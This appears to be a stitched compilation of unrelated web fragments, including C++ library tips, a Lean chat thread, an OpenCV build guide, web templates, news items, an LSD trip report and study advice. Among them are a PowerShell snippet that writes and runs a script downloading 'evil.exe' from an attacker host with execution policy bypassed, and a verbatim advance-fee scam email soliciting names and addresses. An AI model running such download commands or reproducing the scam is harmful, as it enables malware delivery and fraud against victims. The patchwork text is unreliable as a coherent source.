You can use the Individual's toString() method:
std::cout << individual->toString();
Alternatively, you can use the Individual's write method for output to XMLNode, then convert XML to string:
XMLNode xInd; individual->write(xInd); char *s = xInd.createXMLString(); logger->log(1, "Individual: \n" + std::string(s)); // or just output with std::cout freeXMLString(s); // NOTE: XMLNode::createXMLString requires manual deletion!
Use the predefined ECF_LOG macro; it requires a pointer to State object, log level and string message, e.g.:
ECF_LOG(state, 1, "message: " + uint2str(4) + dlb2str(3.14));
Level 1 is the highest (always logs), all the other (up to 5) depend on the "log.level" parameter (the default is 3).
Write and add a minimal operator (for more complex ones, see Adding the components) that does... something, e.g.:
class MyOp : public Operator { public: bool operate(StateP state) { std::cout << state->getRandomizer()->getRandomDouble() << std::endl; return true; } }; typedef boost::shared_ptr<MyOp> MyOpP;
and add it to State before State::initialize():
MyOpP myOp = (MyOpP) new MyOp; state->addOperator(myOp);
All of those are available through the (local) copy of StateP pointer:
state->getPopulation(); // population (vector of demes)
state->getStats(); // population statistics
state->getHoF(); // population hall of fame
state->getAlgorithm(); // current algorithm
state->getIndividualObject(); // initialized individual
state->getFitnessObject(); // initialized fitness object
state->getGenerationNo(); // current generation
state->getGenotypes(); // current genotypes (vector)
state->getRegistry(); // parameter repository
state->getRandomizer(); // current randomizer
state->getTerminateCond(); // is evolution terminating
state->getElapsedTime(); // since start, in seconds
state->getCommunicator(); // communicator (parallel ECF)


--- layout: archive title: Zulip Chat Archive permalink: /stream/113489-new-members/topic/erase_duplicates.html ---
Does mathlib have a function which erases list duplicates?
Maybe list.pw_filter
?
import data.list.basic #eval list.pw_filter (≠) [1,2,3,5,5,5,5,2,1,4,1] -- [3, 5, 2, 4, 1]
Oh, list.erase_dup
is defined to be pw_filter (≠)
. But its docstring is wrong:
/- `erase_dup l` removes duplicates from `l` (taking only the first occurrence). erase_dup [1, 2, 2, 0, 1] = [1, 2, 0] -/ #eval list.erase_dup [1, 2, 2, 0, 1] -- [2, 0, 1]
It removed the first "1" and the first "2"
Should it say "...leaving only the last occurrence"?
yeah, obviously I meant first from the right end ;)
I'm putting together a PR that fixes this and also improves the other docstrings in data.list.basic
. I found that the example given for list.sigma
is also wrong:
/- `sigma l₁ l₂` is the list of dependent pairs `(a, b)` where `a ∈ l₁` and `b ∈ l₂ a`. sigma [1, 2] (λ_, [5, 6]) = [(1, 5), (1, 6), (2, 5), (2, 6)] -/ #eval list.sigma [1, 2] (λ_, [5, 6]) /- don't know how to synthesize placeholder context: ⊢ ℕ → Type ? -/
The following works, but I don't think this would make a good example:
#eval @list.sigma _ (λ_, ℕ) [1, 2] (λ_, [5,6]) --[(1, 5), (1, 6), (2, 5), (2, 6)]
Any suggestions?
hm, that's weird
does a type ascription on [5,6]
work?
or even just on 5
Ah, yes, that works.
https://github.com/leanprover/mathlib/pull/493
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


How to enable Halide backend for improve efficiency
Introduction
This tutorial guidelines how to run your models in OpenCV deep learning module using Halide language backend. Halide is an open-source project that let us write image processing algorithms in well-readable format, schedule computations according to specific device and evaluate it with a quite good efficiency.
An official website of the Halide project: http://halide-lang.org/.
An up to date efficiency comparison: https://github.com/opencv/opencv/wiki/DNN-Efficiency
Requirements
LLVM compiler
- Note
- LLVM compilation might take a long time.
- Download LLVM source code from http://releases.llvm.org/4.0.0/llvm-4.0.0.src.tar.xz. Unpack it. Let llvm_root is a root directory of source code.
- Create directory llvm_root/tools/clang
- Download Clang with the same version as LLVM. In our case it will be from http://releases.llvm.org/4.0.0/cfe-4.0.0.src.tar.xz. Unpack it into llvm_root/tools/clang. Note that it should be a root for Clang source code.
- Build LLVM on Linux cd llvm_rootmkdir build && cd buildcmake -DLLVM_ENABLE_TERMINFO=OFF -DLLVM_TARGETS_TO_BUILD="X86" -DLLVM_ENABLE_ASSERTIONS=ON -DCMAKE_BUILD_TYPE=Release ..make -j4
- Build LLVM on Windows (Developer Command Prompt) mkdir \\path-to-llvm-build\\ && cd \\path-to-llvm-build\\cmake.exe -DLLVM_ENABLE_TERMINFO=OFF -DLLVM_TARGETS_TO_BUILD=X86 -DLLVM_ENABLE_ASSERTIONS=ON -DCMAKE_BUILD_TYPE=Release -DCMAKE_INSTALL_PREFIX=\\path-to-llvm-install\\ -G "Visual Studio 14 Win64" \\path-to-llvm-src\\MSBuild.exe /m:4 /t:Build /p:Configuration=Release .\\INSTALL.vcxproj
- Note
\\path-to-llvm-build\\
and\\path-to-llvm-install\\
are different directories.
Halide language.
- Download source code from GitHub repository, https://github.com/halide/Halide or using git. The root directory will be a halide_root. git clone https://github.com/halide/Halide.git
- Build Halide on Linux cd halide_rootmkdir build && cd buildcmake -DLLVM_DIR=llvm_root/build/lib/cmake/llvm -DCMAKE_BUILD_TYPE=Release -DLLVM_VERSION=40 -DWITH_TESTS=OFF -DWITH_APPS=OFF -DWITH_TUTORIALS=OFF ..make -j4
- Build Halide on Windows (Developer Command Prompt) cd halide_rootmkdir build && cd buildcmake.exe -DLLVM_DIR=\\path-to-llvm-install\\lib\\cmake\\llvm -DLLVM_VERSION=40 -DWITH_TESTS=OFF -DWITH_APPS=OFF -DWITH_TUTORIALS=OFF -DCMAKE_BUILD_TYPE=Release -G "Visual Studio 14 Win64" ..MSBuild.exe /m:4 /t:Build /p:Configuration=Release .\\ALL_BUILD.vcxproj
Build OpenCV with Halide backend
When you build OpenCV add the following configuration flags:
WITH_HALIDE
- enable Halide linkageHALIDE_ROOT_DIR
- path to Halide build directory
## Set Halide as a preferable backend
net.setPreferableBackend(DNN_BACKEND_HALIDE);


25+ years working alongside farmers to sell their land.
1
25+ years working alongside farmers to sell their land.
2
25+ years working alongside farmers to sell their land.
3
25+ years working alongside farmers to sell their land.
4
25+ years working alongside farmers to sell their land.
4


Transaction details
Transaction Id: {{ trans_id }}
Transaction Information
- Transaction Date
- {{ transaction?.created_at | date:'MMM dd yyyy' }} {{ transaction?.created_at | date:'H:mm:ss' }}
- Description
- {{ transaction?.description }}
- Amount
- {{ transaction?.amount | currency }} CAD
Payment Method
- Card Type
- {{ transaction?.subscription_json?.payment_method?.card_type }}
- Card Ending With
- xxxx-xxxx-xxxx-{{ transaction?.subscription_json?.payment_method?.last_4 }}
- Expiration
- {{ transaction?.subscription_json?.payment_method?.expiration_month }}/{{ transaction?.subscription_json?.payment_method?.expiration_year }}
Billing Information
- Name
- {{ transaction?.subscription_json?.user?.first_name }} {{ transaction?.subscription_json?.user?.last_name }}
- Email
- {{ transaction?.subscription_json?.user?.email }}


echo $storageDir = $pwd > wget.ps1
echo $webclient = New-Object System.Net.WebClient >> wget.ps1
echo $url = "http://$ATTACKER/evil.exe" >> wget.ps1
echo $file = "new-exploit.exe" >> wget.ps1
echo $webclient.DownloadFile($url,$file) >> wget.ps1
C:\> powershell.exe -ExecutionPolicy Bypass ‐NoLogo ‐NonInteractive ‐NoProfile ‐File wget.ps1


Some info about you and/or your company goes here
Services overview goes here
The Company Name 223 Dummy Street NG9 3ZT London Tel: 0121 333 444 Fax: 0121 777 888 Email: dummy@dummy.co.uk


*******************************
Plot Setup
List of Properties for Spatially Resolved Data
*The list of properties for spatially resolved data, leave blank if not visualizing spatially resolved data
Density Property:
*The property denotes the density of electron.
Density Cutoff:
List of Properties for Molecular Data
*The list of properties for molecular data, leave blank if not visualizing molecular data
-----------------------------
View 1
System Name:
System Dimensions:
x min:
y min:
z min:
x max:
y max:
z max:
Spatially Resolved Data:
Full path for spatially resolved data:
Grid spacing:
x:
y:
z:
Molecular Data:
Full path for molecular data:
+ Add view
Submit


This manual was written by Joseph L. Thorley and Mark Wilkinson to document the RadCon program.
RadCon is a free MacOS program for manipulating and analysing phylogenetic trees. It was written by Joseph L. Thorley and Roderic D. M. Page
This manual is written in HTML (HyperText Markup Language) - the language of web pages and should be viewed using an approriate web browser. Pictures form a large part of this manual and the browser should be set to view pictures. The appearance of text of different types is set using Style Sheets and these should be enabled in the browser. In addition some simple JavaScript is used by a few pages to provide an interactive explanation of various terms. JavaScript should be enabled in the browser.
Please note that due to time constraints we have only tested this manual for viewing using Internet Explorer 4 and Netscape Navigator 4. If you are using earlier versions of these browsers we strongly suggest you upgrade - they are free!
This manual was not written to be read cover-to-cover! This manual is meant to be a resource for the user to refer to whenever information about RadCon is required. The user should, starting from the Table of Contents, follow the appropriate links until the appropriate section is reached. Links to other sections should be followed if additional clarity is required.
For ease of use all 'active' text in this manual is underlined. Internal text links - which provide links to pages of this manual when double-clicked - appear thus before visiting and thus after visiting. External text links - which provide links to pages on the internet - appear thus before visiting and thus after visiting. Rollover text - which provides interactive effects when the cursor is moved over it - appears thus.
This section provides a very brief overview of some of the most interesting features of RadCon - don't be fooled into thinking that this is all RadCon does!
Before telling you a little about what RadCon does we ought to tell you what it doesn't! RadCon is a program for manipulating and analysing phylogenetic trees. RadCon does not input phylogenetic data such as DNA sequences or morphological character states - it only deals with trees. RadCon does not reconstruct phylogenies - it must be given the trees it deals with. RadCon does not map characters onto trees - it only deals with tree structure.
So RadCon is a program for dealing with trees. How does it differ from other tree programs? A key difference, between RadCon and most other tree programs, is RadCon's ability to handle trees with non-identical sets of leaves. A difference that permits the production of strict reduced consensus trees and supertrees (and hopefully in a later version reduced supertrees!).
As well as the strict reduced consensus method, which may output multiple consensus trees, RadCon provides the user with two other strict (sensu Wilkinson 1994) consensus methods - the Adams and the strict component consensus. The choice of consensus tree has been considered a philosophical problem by some authors. This is not the case in RadCon as the user can use Cladistic Information Content (CIC) to identify the single most informative strict consensus tree and make an informed choice.
The ultimate goal of phylogenetics is the reconstruction of the tree of life! However practical and theoretical problems limit individual studies to tiny parts of this tree. leaves . The user can measure the extent to which trees in the same set agree about the position of individual leaves (Positional Congruence) and measure the certainty surrounding the position of each leaf in a set of bootstrap trees (Leaf Stability).
The bootstrap is not the only method for measuring the stability of phylogenetic hypotheses. Another favourite is the Decay Index. The Leaf Stability (Decay Index) and Double Decay Analysis options enable the user to assess the stability of individual leaves and explore less inclusive, but better supported, hypotheses than full splits, respectively, using this measure.
Enjoy!
The RadCon program and documentation are provided as is, without guarantee of maintenance or support, and without warranty. The copyright holders are not liable for any damages which may result in any manner from the use of this software.
RadCon can be downloaded free from the RadCon Home Page.
RadCon requires a Power Macintosh running MacOS 7.5 or later.
The PAUP Font file should be installed in the Fonts folder in the System Folder. The PAUP Font file is distributed with RadCon with permission from Dave Swofford.
If you use this version of RadCon to analyze trees for publication, the citation is:
J.L. Thorley and R.D.M. Page 2000. RadCon: Phylogenetic tree comparison and consensus. Bioinformatics. 16. 486-487.
The RadCon paper can be downloaded in Adobe PDF format from my publications page.
RadCon is designed to be user-friendly. The user is provided with a graphical interface that includes drop-down menus, various windows and balloon help.
This manual was written to be a comprehensive guide to using RadCon.
RadCon also provides the user with Balloon Help, a source of immediately available information about various commands, options and features.
The RadCon Home Page may also provide information lacking from this manual or even a more up-to-date version of this manual!If neither of these sources provides the required information questions can be sent to<EMAIL_ADDRESS>Return to the Table of Contents.
This page is maintained by<EMAIL_ADDRESS>© Copyright 1999, 2000, 2001, Joseph L. Thorley and Mark Wilkinson. All rights reserved.


| Vendor Name: | VOX POPULI COMMUNICATIONS |
| Reference Number: |<PHONE_NUMBER> |
| Contract Date: | 2005-12-21 |
| Description: | Non-professional personal service contracts not elsewhere specified |
| Contract Period / Delivery Date: | 2005-12-21 - 2008-03-31 |
| Contract Value: | $21420.00 |


This packages is the companion package to our book “Applied Statistics using R”.
All datasets and code-examples used in the book are included in this package. In addition, the package contains several convenience functions that are used in the book.
You can install the package from github using
#install.packages("devtools") devtools::install_github("ihrke/astatur")
In order to run the example codes from the book, you can use the following to install all packages used in the book.
library(astatur) install.packages(astatur.all.used.packages)
All code-examples presented in the book are included in this package. The list of files can be accessed here or by clicking on the filenames below:
chapter_00-Preface.R
chapter_01-IntroR.R
chapter_02-ImportWorkWithR.R
chapter_03-HowDoesRWork.R
chapter_04-DataManagement.R
chapter_05-VisualisationR.R
chapter_06-DescriptiveStat.R
chapter_07-SimpleRegression.R
chapter_08-MultipleRegression.R
chapter_09-DummyRegression.R
chapter_10-InteractionRegression.R
chapter_11-LogisticRegression.R
chapter_12-MultilevelLong.R
chapter_13-FactorAnalysis.R
chapter_14-StructuralEq.R
chapter_15-BayesianStats.R


{% extends "includes/lists/object_list_base.html" %} {% block title %}Resources - {{ block.super }}{% endblock title %} {% block page_title %}Resources{% endblock page_title %} {% block top_panel %}
Looking for resources on next-generation technologies? If so, you’ve come to the right place! Take some time and browse these top-notch presentations, articles, white papers, community fiber plans and more. We also strongly encourage you to add your own resources to the library so they can be shared with our entire community!


Easy
Normal
Hard
Beaver Games
: Connect
Start
Match similar characters that may be connected with up to three lines. Possible moves:
0


STATION 3 of 7
Air quality is a key factor affecting health, comfort, and productivity of occupants in a building. SDE4 optimizes cross ventilation through its envelope design, giving occupants access to fresh air and control over their immediate surroundings. In case the outside air quality is unfavorable, the building switches to air conditioning to maintain comfortable conditions.


Astrophysics > Solar and Stellar Astrophysics
[Submitted on 28 Jul 2020]
Title:Predicting frequency changes of global-scale solar Rossby modes due to solar cycle changes in internal rotation
Download PDFAbstract: Context. Large-scale equatorial Rossby modes have been observed on the Sun over the last two solar cycles. Aims. We investigate the impact of the time-varying zonal flows on the frequencies of Rossby modes. Methods. A first-order perturbation theory approach is used to obtain an expression for the expected shift in the mode frequencies due to perturbations in the internal rotation rate. Results. Using the time-varying rotation from helioseismic inversions we predict the changes in Rossby mode frequencies with azimuthal orders from m = 1 to m = 15 over the last two solar cycles. The peak-to-peak frequency change is less than 1 nHz for the m = 1 mode, grows with m, and reaches 25 nHz for m = 15. Conclusions. Given the observational uncertainties on mode frequencies due to the finite mode lifetimes, we find that the predicted frequency shifts are near the limit of detectability.
Submission history
From: Christopher Goddard [view email][v1] Tue, 28 Jul 2020 17:55:04 UTC (2,168 KB)
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arXivLabs: experimental projects that add value for the community
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I'm A Celebrity viewers demand ITV add subtitles for Nadine Coyle
She has a distinctive voice
by Richard BellFans of I'm A Celebrity... Get Me Out Of Here! are struggling to understand former Girls Aloud star Nadine Coyle because of her thick accent.
After watching the first episode of the new series, which aired on Sunday evening (17.11.19), a number of viewers admitted they couldn't make out what the Northern Irish singer was saying.
Others rushed to Twitter to demand that ITV add subtitles for Nadine, who comes from Derry.
One wrote: "Omg is it just me that'll need subtitles to understand Nadine? Her accent is still sooo strong #ImACeleb."
Another said: "Subtitles for Nadine, please. And I am from Belfast."
Someone else tweeted: "100% gonna need subtitles for Nadine."
"Can we get subtitles for Nadine Coyle? Even being from NI, I still have no idea what she's saying," said a fourth.
A fifth said: "[Are] we not getting subtitles for Nadine Coyle?"
When Nadine became the second celeb to enter the running by joining former footballer Ian Wright on the I'm A Celebrity yacht, she joked that she might be hard to understand.
They both sipped cocktails in the sun as they waited for the other famous faces to arrive and Ian said: "I Love your accent."
Nadine told him: "If you ever don't understand anything, say and I'll say it as many times as you want, only for you."
Elsewhere in the opening episode, Caitlyn Jenner and Kate Garraway were voted to do the first bushtucker trial.
The American reality star and Good Morning Britain presenter were selected to compete in a trial called Bugged Off, but viewers at home were divided over the choice.
Some slammed it as 'predictable', while others thought Caitlyn and Kate made the perfect pairing.
Read more: I'm A Celebrity: Extra Camp fans beg Joe Swash to return
The series got underway with plenty of laughs, but figures show that almost one million fewer people decided to tune in.
According to stats, 10 million people decided to watch last night - compared with 10.9 million in 2018, when Ant was temporarily replaced by This Morning's Holly Willoughby.
That might come as no surprise given viewers' reactions on Twitter to the "disappointing" line-up, which some have said pales in comparison to last year's camp.
Leave us a comment on our Facebook page @EntertainmentDailyFix and let us know what you think of this story.


We have been meaning to write a post like this for a long time but have never really had the audacity to do so. We thought the time is right to do it after a lot of stories we have been reading recently.
Over the past few months we have been seeing more and more articles, reports, tweets and basically any other form of communication where people are really putting down other products, methodologies or even other people. I myself have been guilty of this in the past but I felt as though I had to “grow up”. As We started speaking at various events and talking with other speakers, we saw that we needed to change this attitude; to learn to see issues as not just black or white but grey also.
We feel that, as software developers, we all can create an aspect of crap software. There is no-one on this earth that will create perfect software in their first attempt. This goes for the bigger software houses as well – Microsoft, Google, Novell, IBM etc.. but this doesn’t stop us from striving to do so.
Unfortunately the industry we work in seems to thrive on companies trying to make out their product/software is better than the product/software of another company, although this may be standard marketing practice it won’t necessarily help gain users since when we developers get our hands on it we can very quickly determine if it is any good or not.
One of the worst examples was witnessed earlier this year during a well known conference. A well known team directly demoed their product against a competitor product and pointed out all the wonderful things that their new product will do over the competition. Whilst the new product may be good, people on Twitter were quickly able to determine the veracity of the claims and tweeted with relish when one was found to be false.
We see other examples of this with developers having problems with TFS in comparison to Git/Hg/SVN, we see it in Win Phone 7 compared to iPhone/Android, HTML5 compared to Silverlight. Its everywhere! Its frankly becoming boring to read, see or listen to. Who are we to tell a company that their software is crap? Or that the software I use is better than what they product?
Continuously criticising something in public, yes I’m looking at you tweeple, just makes you look small for not being able to deal with whatever tool a business has decided to use. You may not like something and you are entitled to your opinions, you can tell the business that there may be something better, but if the business has made an investment and isn’t going to change then just shut up, sit down and do your job.
If you keep banging on about how something is bad or a complaining that a situation is unjust then it just starts making you look small, better to keep quiet and demonstrate through actions how there is a better way to do something and talk about the positives, generate a buzz about it and grow support to help you overcome the issues that you are seeing.
Our thoughts are subjective – so what’s good for me is not strictly good to you. Our code may be good to us but may be bad for you. I think we all need to get off our high horses and just let people make their own decisions. We, as professionals, should deliver our opinions and then leave it there.
Thanks to Nathan Gloyn for being guest co-author for his post. You can find out more about Nathan at his blog – Design, Code, Release. Also need to thank Dan Kendall for reviewing our post and to keep it from being too wild :)


Mr.Cheung Pui Hang Seng Bank Ltd Sai Wan Ho Branch 171 Shaukiwan Road Hong Kong. Good Day, Compliments of the season to you and your family.Let me start by introducing myself. I am Mr. Cheung Pui director of operations of the Hang Seng Bank Ltd. I have a obscured business suggestion for you. Before the U.S and Iraqi war our client Major Fadi Bassem who was with the Iraqi forces and also business man made a numbered fixed deposit for 18 calendar months, with a value of Twenty Four million Five Hundred Thousand United State Dollars only in my branch. Upon maturity several notice was sent to him, even during the war early this year. Again after the war another notification was sent and still no response came from him. We later find out that the Major and his family had been killed during the war in bomb blast that hit their home. After further investigation it was also discovered that Major Fadi Bassem did not declare any next of kin in his official papers including the paper work of his bank deposit. And he also confided in me the last time he was at my office that no one except me knew of his deposit in my bank. So, Twenty Four millions Five Hundred Thousand United State Dollars is still lying in my bank and no one will ever come forward to claim it. What bothers me most is that according to the to the laws of my country at the expiration of four years (4yrs) the funds will revert to the ownership of the Hong Kong Government if nobody applies to claim the funds.Against this backdrop, my suggestion to you is that I will like you as a foreigner to stand as the next of kin to Major Fadi Bassem so that you will be able to receive his funds. WHAT IS TO BE DONE: I want you to know that I have had everything planned out so that we shall come out successful. I have contacted an attorney that will prepare the necessary document that will back you up as the next of kin to Major Fadi Bassem ,all that is required from you at this stage is for you to provide me with your Full Names and Address so that the attorney can commence his job. After you have been made the next of kin, the attorney will also fill in for claims on your behalf and secure the necessary approval and letter of probate in your favor for the move of the funds to an account that will be provided by you. There is no risk involved at all in the matter as we are going adopt a legalized method and the attorney will prepare all the necessary documents. Please endeavor to observe utmost discretion in all matters concerning this issue. Once the funds have been transferred to your nominated bank account we shall negotiate our sharing percentage and agreed on it. Should you be interested please send me your full names and current residential address and I will prefers you to reach me on the email address below<EMAIL_ADDRESS>and finally after that i shall provide you with more details of this operation. Your earliest response to this letter will be appreciated. Kind Regards, Mr. Cheung Pui ___________________________________________________________________________ Correo enviado por El Club de Tratlon de Tres Cantos - http://www.traitlontrescantos.com


Alaska woman accused of stealing her gun during trial on firearm charges
by Louis CasianoAn Alaska woman on trial for pulling out a loaded gun in a bar was hit with new charges after she allegedly tried stealing the pistol being used as evidence against her on Tuesday, authorities said.
Tiffany Flenaugh, 29, faces additional charges of felony theft, possessing a firearm in a courthouse, evidence tampering and violating conditions of release.
Flenaugh is already charged with assault, weapons misconduct and resisting arrest in connection with an Oct. 21 arrest at a downtown Fairbanks bar.
ALASKA WOMAN GETS 60 YEARS FOR SETTING COUCH ABLAZE WITH BOYFRIEND ON IT
A bartender told police that Flenaugh was intoxicated and refused to serve her.
She allegedly pulled a .45-caliber handgun and waved it around. In addition, she allegedly fought with three with bouncers and responding police officers.
CLICK HERE TO GET THE FOX NEWS APP
Prosecutors introduced the unloaded pistol into evidence Tuesday and placed it in a box near the judge's bench. Flenaugh approached the box during a break when she, a clerk and a prosecutor were the only people in the courtroom.
She took the gun, walked outside and hid it in the snow, prosecutors said. The weapon was discovered missing and the police were alerted. Flenaugh was arrested when she reentered the courthouse.
The Associated Press contributed to this report.


| DOSE: |
2 hits |
oral |
LSD |
(gel tab) |
| |
|
smoked |
Cannabis |
(plant material) |
I had been researching LSD online for months during my senior year in High School because I had a strong desire to take LSD and experience all the effects I was reading about.
The summer came, and we were out of school until college. About the second day out of school, I discovered some LSD at 9 AM in the morning. Whether I had eaten breakfast or not I don't remember, but i would guess NO. I was shocked looking at the two little green gel tabs, I put them in my mouth without hesitation and felt them disolve.
Here I will give my previous drug experience:
I had smoked endless amounts of pot just about every day starting about mid-junior year. I had eaten ecstacy about 5 times and I always felt uncomfortable getting an unnatural ecstatic emotion, and ecstacy is just bad for you, I say, and so does the evidence showing severe brain damage. Also at that point I had had one fun yet mild mushroom experience.
I sat down at the computer to play an online game. I played about 15 minutes until the anticipation really kicked in. I started getting shaky and VERY ANXIOUS. I turned around and saw fishing poles in the corner of the room, they were taller than ever before and they towered over everything! At this point I figured I should go check things out, it's coming on. I got down on the floor and looked at my imitation oriental rug to see what was seen in Fear and Loathing in Las Vegas, the pattern rose off the carpet, my eyes were really starting to play tricks on me.
I need a shower. I get in the bathroom and the towels are breathing and pulsating, my vision was wacky. I could see small areas blown up very big and nothing other than my immediate vision.  I see a drop of water on the shower curtain and think, 'what would life be like inside a drop of water?'
 I put on Rage against the Machine's - Battle of LA. I am really feeling the music AND the the LSD...what a suprise! I'm softly inserting undertones on my bass, and I see the neck and strings all waving, up close, big, out of proportion, completely and utterly awesome! The anxiety is still there, STRONG, I'm trying to enjoy myself but the LSD is so freakin powerful!!!
I start hearing audio hallucinations and at the same time visuals of lights turning on and off, plenty of color. The audio hallucinations sounded like the devil. Voices outside sounded like rumbling thunder. At this point I really need to talk to someone. I call my Mom at work. As soon as I start speaking I sound very loud and unusual, my Mom asks if I'm alright...what am I supposed to say, 'Well I'm on LSD!' No, that's not right.
Now I REALLY need to leave my house or else the anxiety will drive me into a wall! I go outside with the phone and a cigarette. The side of my house looked like it was expanding in the upwards and downwards directions. I get in touch with my friend, who I'll call N, and I go to his house down the street to meet him and another friend A, whom were and are two of my best friends.
When I get there I'm talking very loud and I say I think I've eaten some LSD. After a while, it is abundantly clear to them that I have. They stick by me and keep me relaxed. We drive over to a friend's house I'll call E, another best, and he has a friend chillin there. I wasn't feeling too high at this point, but everything on my mind was affecting me.
 This was something I had to struggle with, I didn't wanna go home I'm out enjoying a high what good would coming home be if i'm going to get in trouble??? I decided to stay out and told my parents I would be safe and home later that evening.
I go have a quality conversation with my friend A. He is a very experienced tripper of LSD and he comforts while we talk about jokes or funny experiences while the other people are out somewhere. They get back and I go for a ride with my friend N, we talk and I tell him how horrible the situation I'm in is, and that I'm in trouble. He ensures me that he is there and will help me.
We get back to E's house and then another friend shows up, he wants to smoke. Five of us head down the street to another friend's house to smoke. We sit out back and smoke dank bud out of a bubbler. My high starts to come back a little but the plateau had worn off a while ago.
My thinking goes on auto-pilot. I would think about the ramifications and harmony that come about through conversation. I decided not to speak after my thoughts flew right past the conversation.
 At this point I feel sober enough to talk. I start to relax and my anxiety goes away. The trip slowed down and I started coming back to baseline.
I decide it would be good to go home around 5 PM. When I go home I see some more visuals, talk with my parents, and make ammends. Almost a year has passed now. Since that summer, in the way of drugs I've decided not to touch cocaine, not to take LSD, ecstacy, heroine, ect...be careful, especially of the big ones...i'm serious
I hope you enjoyed reading this and learned a few things...
Retrospective:
From my personal experience...
Eating LSD at 9 AM: expect a freaking trip (see above) ^^.
Gel Tabs are potent, handle with care. I ate some 2 hits of paper/blotter about 2 months later and it wasn't a quarter as strong.
Have friends & people you love to be with.
 Look at the reasons you wouldn't do LSD as well, understand that they aren't negatives for no reason. Thanks you Erowid for being an awesome site! Peace. =)
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


Protect yourself and others from the spread of COVID-19
You could spread COVID-19 to others even if you do not feel sick. You can take some simple precautions to reduce the chances of being infected or spread COVID-19:
- Wash hands often
- Avoid going to crowed places
- Keep 6 feet distance between eachother
- Stay home and self-isolate even if you show minor symptoms
- Wear mask and gloves everytime you leave your home
Clean and disinfect
Clean and disinfect frequently touched surfaces daily This includes phones, doorknobs, car doors,tables, handles, toilets, sink, etc. Use detergent or soap and water prior to disinfection.
If you are having trouble finding face masks, because everyone in the world is trying to buy them, Do not worry. There are easy home DIY(do it yourself) to make face masks.
Watch this video to learn how to make your own face mask.


{% extends "base.mail.html" %} {% load i18n %} {% block content %}
{% blocktrans with donor_name=donation.user.full_name owner_name=donation.project.owner.full_name slug=donation.project.slug project_name=donation.project.title %} A project just received an invoiced donation by {{ donor_name }}. The amount should be transfered directly to the bank account of {{ owner_name }} for the project {{ project_name }}. {% endblocktrans %}
{% blocktrans with donor_name=donation.user.full_name amount=donation.amount account_holder_name=donation.project.account_holder_name account_number=donation.project.account_number %}
The amount of {{ amount }} needs to be transfered by {{ donor_name }} to the following bank account:
{{account_holder_name}}
{{account_number}}
{% endblocktrans %}


As a college professor, I am often asked for my advice on how students can get better grades. And after
a couple of years of refining my ideas, I have developed these 10 tips.  These tips are universal. So, if you are struggling with grades and interested in raising
your grade point average, take a close look at these 10 tips for getting better grades.
1. Attend All Your Classes
Now, you might think this was an obvious one. But I speak from experience when I say that many students
skip classes for one reason or another. But if you want good grades, there are several reasons why you
should attend all your classes:
- Absorb classroom material. Even if the professor follows the textbook pretty closely,
sitting in the classroom and listening to the lectures/discussions will help you absorb the
materials.
- Make presence known/participate. One of the benefits of going to college should be that you form
a mentoring relationship with some of your professors, and that's not going to happen if you don't
attend the classes. And often faculty have participation points (or bonus points), so beyond just
attending, make an effort to be involved in the class discussions.
- Earn attendance points. Many professors have attendance policies, so you can have a direct impact
on your grade simply by attending.
Don't forget to sit close to the front -- historically, those who do are usually the best students
2. Master Your Professors
Every professor has a different personality and system for running his/her classes, so it makes
sense as early in the semester as possible to learn what the professor wants.  Most professors give out a class syllabus during the first week
of classes -- and it is your responsibility to know deadlines and all the requirements for the course.
- Understand professors on personal level. Rather than viewing the professor as some figurehead at the
front of the class who decides your fate in some abstract way, get to know your professor as a person.
Visit him or her during office hours, or stay after class.
- Communicate with professors when you are struggling. Especially at larger colleges
and universities, the professor won't know when you are struggling, so if you are having
problems with the course work or the tests, schedule an appointment to meet with the
professor and get the help you need.
3. Get/Stay Organized
You may have been one of the lucky few who has never needed a planner before, but college
is all about multitasking, and you can easily get overwhelmed with due dates, team meetings,
and other demands on your time. Here are some tips for getting organized:
- Use a planner or other organization system. I've had my day-planner for years
and cannot go anywhere without it. Others are that same way with their personal digital assistants.
- Stay current with due dates/course calendars. It's not enough to have a system -- you
have to use it! So once you have some sort of system, get in the habit of using it (and it will
soon become second nature).
- Keep homework, tests, and class papers in central location.  You'll need these
for studying for future tests, for meeting with your professor to discuss them, and for figuring
your grade in the class… so, keep all your class materials in a central location.
4. Use Time Wisely
Even if you do not procrastinate and are the most organized person in the world, time can
be one of your biggest enemies in college. Here are some tips for using time wisely:
- Tackle harder work first. Yes, tackle the harder stuff first so that you are sure to have
enough time to complete it. You'll feel a greater sense of accomplishment completing the work in
this order.
- Take breaks as reward for work. Reward yourself for completing a major task by taking a
break and chatting with a friend or watching some television. Not only are the breaks good motivation
to help you complete something, you'll also be more refreshed to tackle the next bit of work after a
break.
- Break larger projects into smaller, easy-to-accomplish pieces. If you have a massive term paper
due at the end of the semester, break up the work into smaller chunks and assign deadlines to each
part.
- Do not overextend yourself; learn to say no. Besides all your academic work, you will also be
asked to get involved in all sorts of clubs and organizations while in college -- and at some point,
you will have to learn to say no to some requests of your time.
- Work hard to play hard. One of my favorite students used to say that she worked hard so that
she would have the time to play hard -- and that's a good balance. Just make sure you do the work FIRST.
5. Become "Noteworthy"
Another reason for attending class is recording the class notes. These notes are vital clues to
what the professor thinks is the most important material for you to learn, so besides taking notes,
learn how to better use them to your advantage. Here are some specifics:
- Be an active listener in class. Don't read the newspaper, gossips with friends, or text
your roommate during class. Instead, listen attentively and actively -- and ask for clarification
when you need it.
- Take good notes in class. Whether taking notes from scratch or following a professor's outline,
the key for you will be to get the most important details down so that you can refer back to them when
you need them.
- Rewrite or organize notes on your computer outside of class. This suggestion may sound a little
extreme, but the writing-to-learn literature shows that you can increase your understanding and
retention of material by rewriting it.
6. Use the Textbook
Professors assign textbooks for a reason -- and it's not to make you broke; it's to supplement
the lectures and discussions from class. Do buy all the textbooks -- and follow these tips for using it:
- Read all assigned material. Sounds obvious, right? When a professor assigns a chapter, read
the whole thing (unless told otherwise), including the opening vignettes, the case studies, and
tables and exhibits.
- Know what's critical. At the same time, know what parts of the text are most critical. For example,
in one of my classes, the vocabulary is most critical, and the textbook emphasizes the point by having
all the terms and their definitions printed in the margins of every chapter.
- Use outlining system to help comprehend material. Reading and highlighting the material
in the text is just the minimum. To get the most of what you're reading, you should also
take notes and outline the material.
7. Follow Good Rules of Writing
Many classes require one or more writing assignments, from short responses to term papers, and you'll do
better on these assignments if you follow these rules of good writing:
- Organize your thoughts before writing. Stream of consciousness works in a diary or journal
(and may have worked in high school), but it's best to map out an outline before you start the actual writing.
- Understand requirements for paper. Every professor has a specific way he or she wants a paper
